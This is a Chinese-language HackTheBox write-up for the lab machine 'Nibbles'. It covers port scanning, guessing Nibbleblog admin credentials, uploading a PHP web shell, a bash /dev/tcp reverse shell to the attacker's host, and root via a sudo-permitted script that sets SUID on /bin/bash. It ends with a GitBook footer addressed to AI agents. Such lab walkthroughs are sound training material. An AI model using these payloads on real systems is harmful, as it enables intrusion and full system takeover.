> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md).

# Nibbles HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/121>" %}

{% hint style="warning" %}
**技能：**

* 滥用 Nibbleblog - 通过文件上传实现远程代码执行
* 滥用 Sudoers 权限（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/6fe9ab8d97c753ca75c175ece253906d08c6273d" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/5e9186a6e3bb30491d4d3f8c1099d0df8913d014" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.75 -oG allPorts
```

<figure><img src="/files/2acdd40d2d7ba8c87fbd74f7abba00167c197764" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

<figure><img src="/files/b4841d98787e5924084954f698ea76a137d63f99" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80 10.10.10.75 -oN targeted
```

<figure><img src="/files/084ee577ab9e70805a413358f4393a9c42ab3d58" alt=""><figcaption></figcaption></figure>

### 端口 80 - HTTP

<figure><img src="/files/d3422e24bc516b80e9bb326b4f143de79bd4fcf5" alt=""><figcaption></figcaption></figure>

通过检查网页源代码，我们注意到存在一个 `/nibbleblog` 目录。

<figure><img src="/files/e3b9d3094c0ec9306b21fa72530c84277fddc1e0" alt=""><figcaption></figcaption></figure>

### Nibbles Blog - CMS

<figure><img src="/files/2bba56579fdc2c0cec2798a0cf38df793fbfdf03" alt=""><figcaption></figcaption></figure>

该站点看起来是一个名为 Nibbleblog 的 CMS。我们将使用 `gobuster` 来搜索其他目录：

```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/46e527442102c1b03a11a066633f6c5b7d43de37" alt=""><figcaption></figcaption></figure>

#### PHP 文件搜索：

在搜索 PHP 文件时，我们发现一个 `admin.php` 文件，似乎对应于一个管理面板。

<figure><img src="/files/52a5ea841e4043afc9f993b9607e7fa218ed4b7a" alt=""><figcaption></figcaption></figure>

#### 尝试使用凭据登录：

我们正在尝试使用以下凭据连接：

* **用户**: admin
* **密码**: nibbles

<figure><img src="/files/9bdbd596a18b87023e1679deb9b90606bcfa2dfd" alt=""><figcaption></figcaption></figure>

成功了，我们进入了管理界面。

<figure><img src="/files/4cffa43a415c88100d0958eca5ae40819774bcc0" alt=""><figcaption></figcaption></figure>

## Nibbleblog 漏洞 - 文件上传

我们发现了一个允许你上传图片的功能：

<figure><img src="/files/2ba77c2584d8928da53b239b23d75879dbd2b5a8" alt=""><figcaption></figcaption></figure>

我们将创建一个 `cmd.php` 文件，内容如下，以允许执行命令

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

该文件将被下载到 `内容` 目录中，我们在那里找到一个 `私有` 包含插件的子文件夹。

<figure><img src="/files/095bfa6b861272585d5dc69e51b24910057daffa" alt=""><figcaption></figcaption></figure>

#### 通过文件上传执行命令：

借助 `cmd` 参数，我们可以执行命令。例如，我们使用以下 URL 获取系统 ID 信息：

<pre class="language-bash"><code class="lang-bash"><strong>/image.php?cmd=id
</strong></code></pre>

<figure><img src="/files/0bbb575729b3752a7884760322e65204136d9d55" alt=""><figcaption></figcaption></figure>

我们通过反向 shell 获得了服务器访问权限。我们在本机的 443 端口上监听：

```bash
nc -nlvp 443
```

然后，我们在目标机器上执行反向 shell：

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```

<figure><img src="/files/1767d6c6ceb59a86db71be74404c765b7ef301e1" alt=""><figcaption></figcaption></figure>

#### 终端稳定化：

在终端中，我们执行以下步骤来稳定会话：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt 标志 :)

<figure><img src="/files/759705a639fc8d63f83b34dc54a70d9874cadc5a" alt=""><figcaption></figcaption></figure>

## 权限提升：

### Sudo - monitor.sh（没有这样的文件）

我们发现了一个与使用 sudo 权限运行脚本有关的漏洞。

<figure><img src="/files/be25a75c174f4b32073349a0928950e0dc7252c1" alt=""><figcaption></figcaption></figure>

该 `monitor.sh` 文件似乎根本找不到，但我们可以创建一个会以 root 身份运行的脚本。我们先创建必要的目录：

```bash
cd /home/nibbler
mkdir personal
cd !$
mkdir stuff
cd !$
```

我们把 `monitor.sh` 文件放在那里，内容如下：

```bash
chmod u+s /bin/bash
```

然后我们使用 sudo 权限运行该脚本：

```bash
sudo /home/nibbler/personal/stuff/monitor.sh
```

这使你可以修改 `/bin/bash` 的权限，方法是添加 SUID 位。然后我们执行以下命令以获得 root 权限的 shell：

```bash
bash -p
```

<figure><img src="/files/27580c02d5729afdce155b7d5850cc2969be4a3f" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/734515a3e5516cc83c90cb63d5397e4159371380" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/9c999042cc963179a72af65366617e4acc6fdda9" alt="" width="525"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
